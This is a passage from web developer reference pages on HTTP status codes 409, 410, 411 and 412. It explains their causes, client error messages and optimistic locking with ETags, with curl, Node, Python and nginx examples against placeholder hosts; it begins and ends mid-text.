already exists.", "existing": "/users/8821" } ``` ## What you see in your client These are the client formats for a response carrying 409 and the reason phrase `Conflict`; the URLs are placeholders. They are derived from library source, rather than captured server output. A server-supplied reason phrase can change the Python, .NET and Spring text. - **Axios:** `AxiosError: Request failed with status code 409`. With the default status validation, the promise rejects; inspect `error.response.status`, `error.response.data` and `error.response.headers`. [Axios constructs this message in `settle`](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves when the HTTP response arrives. `response.status === 409` and `response.ok === false`; check those before reading a success payload. A network failure rejects separately. [MDN documents this distinction](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 409 Client Error: Conflict for url: https://api.example.com/resource`. This comes from `response.raise_for_status()`, not from `requests.get()` alone. Save the body before raising if it contains useful diagnostics. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl `-f`:** `curl: (22) The requested URL returned error: 409`. `curl -i` shows headers and the error body without fail mode; `--fail-with-body` keeps the body while returning a failing exit code. [curl source](https://github.com/curl/curl/blob/master/lib/http.c), [option documentation](https://curl.se/docs/manpage.html#--fail-with-body). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 409 (Conflict).` This is the English message from `EnsureSuccessStatusCode()`; inspect the `HttpResponseMessage` first when you need its body. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** `WebClientResponseException.Conflict` with message `409 Conflict from GET https://api.example.com/resource` for `WebClient.retrieve()`. RestTemplate's default error handler uses `HttpClientErrorException.Conflict`; its message can include the response body. These class names follow the [Spring 6.2 WebClient source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java) and [HTTP client source](https://github.com/spring-projects/spring-framework/blob/v6.2.0/spring-web/src/main/java/org/springframework/web/client/HttpClientErrorException.java). ## Who sent it? Start with the response body and the application log for the same request. These messages identify a conflict source; database exceptions become HTTP 409 only when an application maps them: | Evidence | Source | | --- | --- | | `duplicate key value violates unique constraint "users_email_key"` (Postgres 23505), `E11000 duplicate key error` (MongoDB), `Duplicate entry ... for key` (MySQL 1062) | Database unique constraint mapped to 409 | | `ConditionalCheckFailedException` | DynamoDB conditional write mapped by your API; DynamoDB itself returns HTTP 400 | | `{"message":"Conflict"}` or Kubernetes `Operation cannot be fulfilled on deployments.apps "x": the object has been modified; please apply your changes to the latest version and try again` | Kubernetes API optimistic concurrency (`resourceVersion`) | | `BucketAlreadyOwnedByYou`, `BucketNotEmpty`, `OperationAborted` | S3; creating an already-owned bucket in `us-east-1` is a documented 200 exception | | Docker `Conflict. The container name "/web" is already in use` | Docker Engine API | | WebDAV `MKCOL` into a missing parent | WebDAV servers | | GitHub `409 Conflict`: merge conflict or "Git Repository is empty." | GitHub API | ## Fix it, most common first 1. **Duplicate create.** The resource already exists. `GET` it and use it, or switch to an upsert (`PUT` to a client-chosen id is idempotent). For retried `POST`s, reuse an `Idempotency-Key` where the API implements that contract; consult its key lifetime and payload-matching rules. 2. **Stale update (lost-update protection).** Another writer changed the resource. Re-fetch, merge, and resend with the new `ETag` in `If-Match` (server answers 412 on mismatch) or the new `version` field. 3. **Invalid state transition.** Cancelling a shipped order, deleting a non-empty folder, deploying while a deploy is in progress. Read the current state and offer an allowed action. 4. **Locked or in-use resource.** Another operation holds it. Retry with backoff, or use [423 Locked](https://howhttpworks.com/status-codes/423) semantics if you control the API. 5. **Concurrent deploys or infrastructure changes.** Kubernetes `resourceVersion` mismatches: retry the read-modify-write loop (client-go's `retry.RetryOnConflict`). ## Common causes by stack - **Express + PostgreSQL:** the handler below maps SQLSTATE `23505` (`unique_violation`) to 409. Check `err.constraint` to distinguish a duplicate email from a duplicate id; return an actionable conflict rather than exposing the database message. [PostgreSQL error codes](https://www.postgresql.org/docs/current/errcodes-appendix.html). - **Django/DRF:** a custom 409 exception or handler reports an `IntegrityError` or a version conflict. Inspect the handler and database constraint together; a serializer validation error follows a different path. [DRF exception handling](https://www.django-rest-framework.org/api-guide/exceptions/). - **Spring Boot:** an application exception handler maps a duplicate or an optimistic-lock failure to 409. Reload the entity before retrying an update; keep the `@Version` check in the persistence operation. [Spring optimistic-lock exception](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/orm/ObjectOptimisticLockingFailureException.html). - **Kubernetes API:** an update carries an old `metadata.resourceVersion`. GET the object again, apply your intended change to that version, and retry the update. This is an API concurrency conflict, separate from an ingress returning a response from your application. [Kubernetes updates](https://kubernetes.io/docs/reference/using-api/api-concepts/#updates-to-existing-resources). - **Amazon S3:** a bucket operation conflicts with existing state, or a concurrent delete races with a conditional write. Read the XML error `Code`: `BucketNotEmpty` calls for inspecting the bucket's contents, while a conditional-write `409 Conflict` has operation-specific retry rules. For `CompleteMultipartUpload`, AWS requires a new multipart upload after this conflict. [S3 errors](https://docs.aws.amazon.com/AmazonS3/latest/API/ErrorResponses.html), [conditional-write rules](https://docs.aws.amazon.com/AmazonS3/latest/userguide/conditional-writes.html). A DynamoDB `ConditionalCheckFailedException` in the application log is a useful clue, but [AWS assigns it HTTP 400](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Programming.Errors.html). If your client sees 409, inspect the API's translation of that failure rather than attributing the HTTP status directly to DynamoDB. ## Server-side patterns ### Unique constraint to 409 (Express and Postgres) ```javascript app.post('/users', async (req, res) => { try { const user = await db.users.insert(req.body) res.status(201).location(`/users/${user.id}`).json(user) } catch (err) { if (err.code === '23505') { // Postgres unique_violation return res.status(409).json({ error: 'duplicate', constraint: err.constraint }) } throw err } }) ``` Let the unique constraint decide. A `SELECT` followed by an insert leaves a race: two concurrent requests can both pass the check. ### Optimistic locking with ETag ```text GET /articles/7 HTTP/1.1 HTTP/1.1 200 OK ETag: "v12" PUT /articles/7 HTTP/1.1 If-Match: "v12" Content-Type: application/json HTTP/1.1 412 Precondition Failed ``` With a `version` column instead of headers, update with `WHERE id = $1 AND version = $2` and return 409 when zero rows change. Require the header with [428 Precondition Required](https://howhttpworks.com/status-codes/428) if you want clients to always send it. ### Django and Spring Django REST Framework supports a custom `APIException` subclass with `status_code = 409`; catching `IntegrityError` still requires you to identify the violated constraint and return that response. In Spring, add an `@ExceptionHandler` with `@ResponseStatus(HttpStatus.CONFLICT)` for the conflicts your API exposes. Spring can translate persistence failures to `DataIntegrityViolationException` or `OptimisticLockingFailureException`; these exception classes alone do not select an HTTP response. [DRF exception customization](https://www.django-rest-framework.org/api-guide/exceptions/#custom-exceptions), [Spring exception handlers](https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-controller/ann-exceptionhandler.html). ## Client handling Resolve the conflict described in the response before resending. For version conflicts, re-GET, compare your original copy with the new copy, merge or ask the user, then resubmit once. For "already exists" on a create that you retried, treat it as success if the existing resource matches what you sent. ## Reproduce and verify ```bash curl -si -X POST https://api.example.com/users \ -H 'Content-Type: application/json' -d '{"email":"ana@example.com"}' # second run => 409 curl -si https://api.example.com/articles/7 | grep -i '^etag' curl -si -X PUT https://api.example.com/articles/7 \ -H 'If-Match: "stale-version"' -H 'Content-Type: application/json' -d '{"title":"x"}' ``` ## 409 vs its neighbors - [400](https://howhttpworks.com/status-codes/400): the request is malformed. 409: it is valid but conflicts with state. - [412](https://howhttpworks.com/status-codes/412): a precondition header you sent evaluated false. - [422 Unprocessable Content](https://howhttpworks.com/status-codes/422): semantic validation failed regardless of other resources' state. - [423](https://howhttpworks.com/status-codes/423): the resource is locked (WebDAV). - [404](https://howhttpworks.com/status-codes/404): the target does not exist. Experiment in the [request builder](https://howhttpworks.com/tools/playground). --- # 410 Gone > Learn what 410 Gone means and when resources are permanently removed. Understand the difference between 410 and 404, and SEO implications for deleted content. Source: https://howhttpworks.com/status-codes/410 Last reviewed: 2026-10-04 > **TL;DR:** 410 Gone means the resource was permanently deleted. Unlike 404, it will never come back. ## What is a 410 Error? A **410 Gone** status code means the resource you requested used to exist but has been permanently removed and will never come back. Think of it like visiting a house that was demolished—you have the right address, but the building is gone forever and there's no forwarding address. Unlike a 404 error (which might mean you typed the wrong URL), a 410 explicitly tells you "this used to be here, but it's intentionally gone forever." ## When Does This Happen? You'll see a 410 error in these common situations: **1. Deleted Blog Posts or Articles** ```http Old URL: /blog/outdated-post-2020 Status: Permanently removed for being outdated Response: 410 Gone ``` **2. Discontinued Products** ```http Old URL: /products/discontinued-item Status: Product no longer sold Response: 410 Gone ``` **3. Expired Content** ```http Old URL: /events/conference-2020 Status: Event is over, page removed Response: 410 Gone ``` **4. API Version Deprecation** ```http Old URL: /api/v1/users Status: API v1 permanently shut down Response: 410 Gone ``` **5. Legal or Policy Removal** ```http Old URL: /content/removed-for-policy Status: Content violated terms, permanently removed Response: 410 Gone ``` ## Example Response When a resource is permanently gone, the server responds like this: ```http HTTP/1.1 410 Gone Content-Type: application/json Content-Length: 134 { "error": "Gone", "message": "This resource has been permanently removed", "removed_at": "2024-01-15T10:30:00Z", "reason": "Content policy violation" } ``` Key parts of this response: - **410 Gone** - The status code indicating permanent removal - **Content-Type** - Format of the response body - **Body** - Details about when and why it was removed - **Metadata** - Optional info like removal date and reason ## Real-World Examples **Example 1: Discontinued API Version** ```http GET /api/v1/users HTTP/1.1 Host: api.example.com Authorization: Bearer token123 ``` **Response:** ```http HTTP/1.1 410 Gone Content-Type: application/json { "error": "API version discontinued", "message": "API v1 was permanently shut down on 2024-01-01", "migration_guide": "https://docs.example.com/migrate-to-v2", "current_version": "/api/v2/users" } ``` **Example 2: Deleted Blog Post** ```http GET /blog/old-post-2020 HTTP/1.1 Host: myblog.com ``` **Response:** ```http HTTP/1.1 410 Gone Content-Type: application/json { "error": "Content removed", "message": "This blog post was permanently deleted", "removed_at": "2024-06-15T14:20:00Z", "reason": "Outdated information", "alternatives": ["/blog/updated-guide-2024"] } ``` ## How to Handle 410 Errors **As a User:** - Accept that the content is permanently gone - Look for alternative or updated content - Check if there's a newer version available - Remove bookmarks to the gone resource **As a Developer:** - Update any hardcoded links in your applications - Remove references from sitemaps and navigation - Implement proper 410 responses for deleted content - Provide helpful alternatives in the response body **As a Website Owner:** - Use 410 instead of 404 for intentionally removed content - Include removal date and reason in responses - Suggest alternative resources when possible - Keep 410 responses for a reasonable time before switching to 404 ## 410 vs Other Similar Codes | Code | Meaning | When to Use | | ------- | ------------------- | ------------------------------------------------- | | **410** | Permanently gone | Resource was intentionally removed forever | | **404** | Not found | Resource doesn't exist (might never have existed) | | **301** | Moved permanently | Resource moved to a new location | | **403** | Forbidden | Resource exists but access is denied | | **503** | Service unavailable | Resource temporarily unavailable | ## When to Use 410 vs 404 **Use 410 Gone when:** - You deliberately deleted content - An API version was discontinued - A product was permanently removed - Content expired and won't return - You want to be explicit about permanent removal **Use 404 Not Found when:** - The URL was never valid - You're not sure if it existed before - It's a typo or wrong URL - You don't want to reveal that it once existed ## Common Implementation Patterns **❌ Using 404 for deleted content** ```http GET /blog/deleted-post HTTP/1.1 404 Not Found ← Doesn't tell user it was intentionally removed ``` **✅ Proper 410 for deleted content** ```http GET /blog/deleted-post HTTP/1.1 410 Gone Content-Type: application/json { "message": "This post was removed on 2024-01-15", "reason": "Outdated information", "alternative": "/blog/updated-guide" } ``` **❌ Permanent 410 responses** ```text Keeping 410 responses forever Database grows with deleted content metadata ``` **✅ Lifecycle management** ```text Month 1-6: Return 410 Gone with details Month 6+: Switch to 404 Not Found Clean up old deletion records ``` ## SEO and Search Engine Impact **410 Gone Benefits:** - Search engines remove the URL faster than with 404 - Clearly communicates intentional removal - Helps clean up search results more efficiently - Better for SEO than leaving broken 404s **Best Practices:** - Use 410 for 6-12 months, then switch to 404 - Include removal date in response - Suggest alternative content when possible - Update internal links to avoid 410s ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and try accessing removed content: 1. Set method to **GET** 2. Set path to **/api/v1/deprecated** 3. Click **Send request** 4. Notice the 410 response with migration information ## Try it with curl Request a URL that was deliberately removed. ```bash curl -i https://example.com/old-campaign ``` Example output (illustrative, not captured from a real server): ```http HTTP/2 410 content-type: text/html ``` To tell 410 from 404 you cannot go by the body. Check the status code only: `curl -s -o /dev/null -w '%{http_code}\n' https://example.com/old-campaign`. ## Related Status Codes - [404 Not Found](https://howhttpworks.com/status-codes/404) - Resource doesn't exist - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) - Resource moved to new location - [403 Forbidden](https://howhttpworks.com/status-codes/403) - Access denied to existing resource - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) - Temporarily unavailable --- # 411 Length Required: Why It Happens > 411 Length Required: the server wants a Content-Length and got chunked or none. Fix it in curl, Node, Python and fetch, and on nginx and Google Frontend. Source: https://howhttpworks.com/status-codes/411 Last reviewed: 2026-10-04 > **TL;DR:** 411 means the server (or a proxy in front of it) refuses a request body unless it comes with a `Content-Length`. The usual triggers are chunked uploads and empty POSTs with no `Content-Length: 0`. Send an explicit length, or move to HTTP/2. ## What it means An HTTP/1.1 request body is delimited either by `Content-Length` or by `Transfer-Encoding: chunked` (RFC 9112 §6). Many servers handle both. Some refuse chunked requests, some require a length for specific methods, some want it to enforce size limits before reading. RFC 9110 §15.5.12 lets them answer 411. ```http PUT /uploads/video.mp4 HTTP/1.1 Host: storage.example.com Transfer-Encoding: chunked HTTP/1.1 411 Length Required Content-Length: 0 Connection: close ``` ## The cases people actually hit **1. Empty POST with no length.** `curl -X POST https://api.example.com/jobs/42/cancel` sends no body and no `Content-Length`. Some stacks do not infer zero and answer 411. Google Frontend's HTML error is the best-known version: ```text 411. That's an error. POST requests require a Content-length header. That's all we know. ``` Fix it with `-d ''` or `-H 'Content-Length: 0'`. **2. Chunked upload to something that cannot take chunks.** Any HTTP client that streams a body of unknown size on HTTP/1.1 switches to `Transfer-Encoding: chunked`. Examples: piping stdin to curl (`cat file | curl -T - ...`), passing a generator to Python `requests`, piping a stream into Node's `http.request` without a length, or `fetch` with a `ReadableStream` body (which requires `duplex: 'half'`). Targets that answer 411: S3 (`MissingContentLength`, "You must provide the Content-Length HTTP header"), older nginx versions in front of an app, some CDNs and WAFs, and many reverse proxies in front of legacy endpoints. **3. A proxy that buffers or strips.** A gateway converts HTTP/2 or HTTP/3 to HTTP/1.1, the client had no length, and the next hop refuses chunked. **4. WAF or API gateway policy.** Some gateways require a declared length so they can reject oversized bodies before reading them. ## Fix it Give the length, which means knowing it before sending: ```bash # curl: let it measure the file curl -T video.mp4 https://storage.example.com/uploads/video.mp4 curl --data-binary @payload.json -H 'Content-Type: application/json' https://api.example.com/v1/events # stdin forces chunked; avoid, or force the length yourself cat payload.json | curl -X POST --data-binary @- https://api.example.com/v1/events # curl reads all of stdin first ``` ```python import requests, os # generator body -> chunked -> 411 on strict servers # requests.put(url, data=chunks()) # file object: requests sets Content-Length from the file with open("video.mp4", "rb") as f: requests.put(url, data=f) ``` ```javascript import { request } from 'node:http' import { createReadStream, statSync } from 'node:fs' const size = statSync('video.mp4').size const req = request( { host: 'storage.example.com', method: 'PUT', path: '/uploads/video.mp4', headers: { 'Content-Length': size } }, (res) => console.log(res.statusCode) ) createReadStream('video.mp4').pipe(req) ``` If the body size really is unknown (a live stream, a computed archive), options are: buffer to disk or memory to learn the size, use S3 multipart upload (each part has a known size), or talk HTTP/2 to the endpoint. ## If you operate the server nginx has accepted chunked request bodies since 1.3.9, so a 411 from an up-to-date nginx is rare and normally comes from an app behind it. When nginx proxies to an upstream that cannot take chunked requests, `proxy_request_buffering on;` (the default) makes nginx read the whole body and forward it with a `Content-Length`. If you have set `proxy_request_buffering off;` for streaming, that is where chunked starts reaching the upstream. ```nginx location /uploads/ { proxy_pass http://legacy_backend; proxy_request_buffering on; # default; buffers and sets Content-Length client_max_body_size 100m; } ``` ## Reproduce it ```bash curl -v -X POST -H 'Transfer-Encoding: chunked' -d 'hello' https://api.example.com/v1/events # > Transfer-Encoding: chunked # < HTTP/1.1 411 Length Required ``` ## Related - [413 Content Too Large](https://howhttpworks.com/status-codes/413): body was too big rather than unsized. - [400 Bad Request](https://howhttpworks.com/status-codes/400) - [Content-Length](https://howhttpworks.com/headers/content-length) and [Transfer-Encoding](https://howhttpworks.com/headers/transfer-encoding) - [417 Expectation Failed](https://howhttpworks.com/status-codes/417): another upload-time refusal. --- # 412 Precondition Failed: Meaning and How to Fix It > 412 means an If-Match or If-Unmodified-Since condition was false, usually because the resource changed after you read it. How to fix it and retry safely. Source: https://howhttpworks.com/status-codes/412 Last reviewed: 2026-10-05 > **TL;DR:** 412 Precondition Failed means a condition in your request headers failed. Fetch the current resource, compare and merge your changes, then retry with its current ETag; replacing the ETag alone can overwrite another writer's work. ## What you see in your client These are the client formats for a response carrying 412 and the reason phrase `Precondition Failed`; the URLs are placeholders. They are derived from library source, rather than captured server output. A server-supplied reason phrase can change the Python, .NET and Spring text. - **Axios:** `AxiosError: Request failed with status code 412`. With the default status validation, the promise rejects; inspect `error.response.status`, `error.response.data` and `error.response.headers`. [Axios constructs this message in `settle`](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves when the HTTP response arrives. `response.status === 412` and `response.ok === false`; check those before reading a success payload. A network failure rejects separately. [MDN documents this distinction](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 412 Client Error: Precondition Failed for url: https://api.example.com/resource`. This comes from `response.raise_for_status()`, not from `requests.get()` alone. Save the body before raising if it contains useful diagnostics. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl `-f`:** `curl: (22) The requested URL returned error: 412`. `curl -i` shows headers and the error body without fail mode; `--fail-with-body` keeps the body while returning a failing exit code. [curl source](https://github.com/curl/curl/blob/master/lib/http.c), [option documentation](https://curl.se/docs/manpage.html#--fail-with-body). - **.NET:** `System.Net.Http.HttpRequestException: Response status code does not indicate success: 412 (Precondition Failed).` This is the English message from `EnsureSuccessStatusCode()`; inspect the `HttpResponseMessage` first when you need its body. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** `WebClientResponseException` with message `412 Precondition Failed from GET https://api.example.com/resource` for `WebClient.retrieve()`. RestTemplate's default error handler uses `HttpClientErrorException`; its message can include the response body. These class names follow the [Spring 6.2 WebClient source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java) and [HTTP client source](https://github.com/spring-projects/spring-framework/blob/v6.2.0/spring-web/src/main/java/org/springframework/web/client/HttpClientErrorException.java). ## What is 412 Precondition Failed? A **412 Precondition Failed** status code means one or more conditions specified in the request headers were not met by the server. A stale `If-Match` value rejects an update before it replaces the version another writer saved. Use the ETag returned by the same resource and representation you read. Preserve its quotes: `If-Match: "v100"` is an entity tag; `If-Match: v100` has the wrong syntax. [RFC 9110 section 13.1.1](https://www.rfc-editor.org/rfc/rfc9110#name-if-match) requires a strong comparison, so a weak tag such as `W/"v100"` cannot satisfy it. ## Common causes by stack - **Django:** `@condition(etag_func=..., last_modified_func=...)` checks conditional headers and can return 412 before calling the view. Use the same validator calculation for GET and update; the decorator's check still needs a transaction or conditional database update to cover a concurrent write. [Django conditional processing](https://docs.djangoproject.com/en/5.2/topics/conditional-view-processing/). - **Spring Boot / Spring MVC:** a controller calls `ServletWebRequest.checkNotModified(...)`; despite the method name, it also checks write preconditions and can select 412. Inspect the supplied ETag and timestamp and return immediately when it handles the request. [Spring API](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/context/request/ServletWebRequest.html). - **nginx:** its not-modified response filter rejects a failed `If-Match` or `If-Unmodified-Since` on an otherwise 200 response. Compare outgoing `ETag` and `Last-Modified` with the incoming condition; a 412 on a static-file GET can originate here. This response filter is separate from atomic write protection inside your application. [nginx filter source](https://github.com/nginx/nginx/blob/master/src/http/modules/ngx_http_not_modified_filter_module.c). - **Amazon S3:** `If-None-Match: *` on a conditional write fails with 412 if the key exists; `If-Match` fails when the object ETag differs. Fetch metadata for the exact key before resolving the conflict. A concurrent delete can instead cause 409, with different multipart retry rules. [AWS conditional writes](https://docs.aws.amazon.com/AmazonS3/latest/userguide/conditional-writes.html). - **Express or ASP.NET Core application code:** your handler explicitly evaluates `If-Match` and returns 412. Check the version comparison and the save operation together. With EF Core, configure a concurrency token and map `DbUpdateConcurrencyException` to 412 for this conditional update. [EF Core concurrency](https://learn.microsoft.com/en-us/ef/core/saving/concurrency). ## Diagnose a failed precondition Capture the failing method, URL and conditional headers before retrying. Compare them with a fresh GET of that exact URL; using an ETag from a different resource or representation tests the wrong version. For a playlist returning 412, inspect these headers and the response body first. The status alone cannot identify a player-specific cause. ```bash curl -sS -D /tmp/current-headers.txt -o /tmp/current-resource.json \ https://api.example.com/documents/1 grep -iE '^(HTTP/|etag:|last-modified:)' /tmp/current-headers.txt ``` A matching `If-None-Match` returns [304](https://howhttpworks.com/status-codes/304) for GET/HEAD, but 412 for other methods. `If-Match: *` asks whether a current representation exists; it does not pin a revision. Use the quoted ETag from your original read when protecting an edit. [RFC 9110 preconditions](https://www.rfc-editor.org/rfc/rfc9110#name-preconditions). When both `If-Match` and `If-Unmodified-Since` are present, RFC 9110 gives `If-Match` precedence and ignores the date condition. Dates have one-second resolution, so ETags are the better tool for edits that can occur within the same second. Preserve the user's unsaved changes after a 412, show the current version, and merge before sending another write. ## When Does This Happen? You'll see a 412 Precondition Failed response in these common situations: **1. ETag Mismatch (Optimistic Locking)** ```text Client tries to update outdated version If-Match: "old-etag" → Resource changed → 412 ``` **2. If-Unmodified-Since Check** ```text Client requires resource unchanged since date If-Unmodified-Since: Thu, 01 Jan 2026 00:00:00 GMT → Modified → 412 ``` **3. If-None-Match Precondition** ```text Client wants to create only if not exists If-None-Match: * → Resource exists → 412 ``` **4. Range Request Precondition** A stale `If-Range` takes a different path: the server ignores `Range` and sends the full representation, normally with 200. Use `If-Match` when you want a stale validator to stop the request with 412. [RFC 9110 section 13.1.5](https://www.rfc-editor.org/rfc/rfc9110#name-if-range). ```text Partial content request on modified file If-Range: "etag-123" → ETag changed → Range ignored; full response ``` **5. WebDAV Lock Token Mismatch** ```text Client tries to modify locked resource If: () → Wrong token → 412 ``` ## Example Responses The HTTP exchanges and response bodies on this page are illustrative; fields such as `current_etag` are application choices. **ETag Mismatch:** ```http HTTP/1.1 412 Precondition Failed Content-Type: application/json ETag: "current-etag-xyz" Last-Modified: Sun, 18 Jan 2026 14:30:00 GMT { "error": "Precondition Failed", "message": "Resource has been modified since your last request", "current_etag": "current-etag-xyz", "provided_etag": "old-etag-abc", "action": "Fetch the latest version and retry your update" } ``` **If-Unmodified-Since Failed:** ```http HTTP/1.1 412 Precondition Failed Content-Type: application/json Last-Modified: Sun, 18 Jan 2026 12:00:00 GMT { "error": "Precondition Failed", "message": "Resource was modified after specified date", "requested_date": "2026-01-18T10:00:00Z", "last_modified": "2026-01-18T12:00:00Z" } ``` **If-None-Match Failed (Resource Exists):** ```http HTTP/1.1 412 Precondition Failed Content-Type: application/json ETag: "existing-resource-etag" Location: /api/documents/doc-123 { "error": "Precondition Failed", "message": "Resource already exists", "etag": "existing-resource-etag", "resource_url": "/api/documents/doc-123" } ``` ## Real-World Example Imagine two users simultaneously editing the same document: **User A Fetches Document:** ```http GET /api/documents/doc-456 HTTP/1.1 Host: api.example.com HTTP/1.1 200 OK ETag: "version-100" Last-Modified: Sun, 18 Jan 2026 10:00:00 GMT { "id": "doc-456", "title": "Project Proposal", "content": "Original content", "version": 100 } ``` **User B Updates Document (succeeds):** ```http PUT /api/documents/doc-456 HTTP/1.1 Host: api.example.com If-Match: "version-100" Content-Type: application/json { "title": "Project Proposal - Updated", "content": "User B's changes" } HTTP/1.1 200 OK ETag: "version-101" ``` **User A Tries to Update (fails - outdated version):** ```http PUT /api/documents/doc-456 HTTP/1.1 Host: api.example.com If-Match: "version-100" Content-Type: application/json { "title": "Project Proposal - My Changes", "content": "User A's changes" } HTTP/1.1 412 Precondition Failed Content-Type: application/json ETag: "version-101" { "error": "Precondition Failed", "message": "Document has been modified by another user", "conflict_details": { "your_version": "version-100", "current_version": "version-101", "modified_by": "user-b", "modified_at": "2026-01-18T10:05:00Z" }, "action": "Fetch the latest version and merge your changes", "current_document_url": "/api/documents/doc-456" } ``` ## 412 vs Other Conditional Response Codes | Code | Meaning | Condition Type | Action Required | | ------- | --------------------- | -------------------------------- | ------------------------- | | **412** | Precondition failed | If-Match, If-Unmodified-Since, If-None-Match on writes | Fetch latest and retry | | **304** | Not modified | If-None-Match, If-Modified-Since | Use cached version | | **428** | Precondition required | Missing precondition headers | Add conditional headers | | **409** | Conflict | Business logic conflict | Resolve conflict manually | ## Important Characteristics **Conditional Request Headers:** ```text If-Match: "etag-value" ← Must match current ETag If-None-Match: "etag-value" ← Must NOT match If-Unmodified-Since: ← Must not be modified after date If-Modified-Since: ← Must be modified after date (304) If-Range: "etag-value" ← Mismatch ignores Range; full response ``` **Optimistic Locking Pattern:** ```text 1. Client fetches resource with ETag: "v1" 2. Another client updates, ETag becomes "v2" 3. First client tries to update with If-Match: "v1" 4. Server returns 412 (precondition failed) 5. Client fetches latest version, merges changes, then retries ``` **Safe Operations:** ```text GET with If-None-Match → 304 Not Modified (OK) PUT with If-Match → 412 Precondition Failed (prevents lost updates) ``` ## Common Mistakes **Guard updates with the version you read** ```text PUT /api/resource/123 Content-Type: application/json {"data": "updated"} ← No If-Match header, risky! ``` **Use 304 for matching If-None-Match on GET or HEAD** ```text GET /resource If-None-Match: "current-etag" ← Matches current HTTP/1.1 304 Not Modified ``` **Provide a route to fetch the current version** A plain error body leaves the client to find that route itself: ```http HTTP/1.1 412 Precondition Failed Content-Type: text/plain Precondition failed. ``` **Return useful conflict details** ```http HTTP/1.1 412 Precondition Failed Content-Type: application/json ETag: "current-version-etag" { "error": "Precondition Failed", "current_etag": "current-version-etag", "fetch_url": "/api/resource/123" } ``` ## Getting 412 Precondition Failed right **Enforce the ETag when saving:** ```javascript // Storage contract: documents(id, title, version); every write increments version. app.put('/api/documents/:id', async (req, res) => { const { rows: [doc] } = await db.query( 'SELECT id, title, version FROM documents WHERE id = $1', [req.params.id] ) if (!doc) return res.sendStatus(404) const currentETag = `"v${doc.version}"` const condition = req.get('If-Match') if (!condition) return res.sendStatus(428) // This application uses version tags with no commas inside the opaque value. const tags = condition.match(/(?:W\/)?"[^"]*"/g) ?? [] if (condition.trim() !== '*' && !tags.includes(currentETag)) { return res.status(412).json({ error: 'precondition_failed', fetch_url: req.path }) } const { rows: [updated] } = await db.query( `UPDATE documents SET title = $1, version = version + 1 WHERE id = $2 AND ($3 OR ('"v' || version::text || '"') = ANY($4::text[])) RETURNING id, title, version`, [req.body.title, doc.id, condition.trim() === '*', tags] ) if (!updated) return res.status(412).json({ error: 'precondition_failed' }) return res.set('ETag', `"v${updated.version}"`).json(updated) }) ``` The version predicate makes the comparison and write one database operation, including every tag in an `If-Match` list. The wildcard branch checks existence without pinning a version. The earlier SELECT supplies the payload to compare, while the UPDATE catches another writer committing after that read. Validate and authorize the submitted fields before this handler. **Provide Clear Error Messages:** ```http HTTP/1.1 412 Precondition Failed Content-Type: application/json ETag: "v25" { "error": "Precondition Failed", "message": "Resource has been modified since you last fetched it", "details": { "your_version": 20, "current_version": 25, "changes_count": 5, "last_modified_by": "alice@example.com", "last_modified_at": "2026-01-18T14:30:00Z" }, "actions": { "fetch_latest": { "method": "GET", "url": "/api/documents/doc-123", "description": "Fetch the current version" }, "view_history": { "method": "GET", "url": "/api/documents/doc-123/history?from=20&to=25", "description": "See what changed" } } } ``` **Include Current Resource State:** ```http HTTP/1.1 412 Precondition Failed Content-Type: application/json ETag: "current-etag" { "error": "Precondition Failed", "current_state": { "etag": "current-etag", "version": 42, "last_modified": "2026-01-18T14:30:00Z" }, "your_request": { "etag": "old-etag", "version": 40 } } ``` ## Conditional Request Patterns **Optimistic Locking:** ```javascript // Client-side example async function updateDocument(id, doc, etag, changes) { // doc and etag are the original copy saved when the editor opened. if (!etag || etag.startsWith('W/')) throw new Error('A strong ETag is required') // 2. Apply changes const updated = { ...doc, ...changes } // 3. Update with If-Match const updateResponse = await fetch(`/api/documents/${id}`, { method: 'PUT', headers: { 'Content-Type': 'application/json', 'If-Match': etag // Conditional update }, body: JSON.stringify(updated) }) if (updateResponse.status === 412) { // Handle conflict const currentResponse = await fetch(`/api/documents/${id}`) if (!currentResponse.ok) throw new Error(`Reload failed: ${currentResponse.status}`) const current = await currentResponse.json() return { conflict: true, original: doc, current, changes } } if (!updateResponse.ok) throw new Error(`Update failed: ${updateResponse.status}`) return updateResponse.json() } ``` Pass the document and ETag saved when the editor opened, alongside the pending changes. Fetching a new baseline just before saving can hide another writer's edit. The client returns the original copy, current copy and pending changes to its caller after a 412. The caller can present a merge instead of recursively replacing the validator and overwriting the other edit. **Prevent Duplicate Creation:** ```http PUT /api/users/alice HTTP/1.1 If-None-Match: * Content-Type: application/json {"name": "Alice", "email": "alice@example.com"} HTTP/1.1 412 Precondition Failed Location: /api/users/alice ETag: "existing-user-etag" ``` ## Implementation Examples The snippets assume a validated request body and syntactically valid conditional headers. GET uses the same version tag and a stable representation; every writer increments the version. **Express.js:** ```javascript // Storage contract: resources(id, title, version); every write increments version. app.put('/api/resources/:id', async (req, res) => { const { rows: [doc] } = await db.query( 'SELECT id, title, version FROM resources WHERE id = $1', [req.params.id] ) if (!doc) return res.sendStatus(404) const currentETag = `"v${doc.version}"` const condition = req.get('If-Match') if (!condition) return res.sendStatus(428) // This application uses version tags with no commas inside the opaque value. const tags = 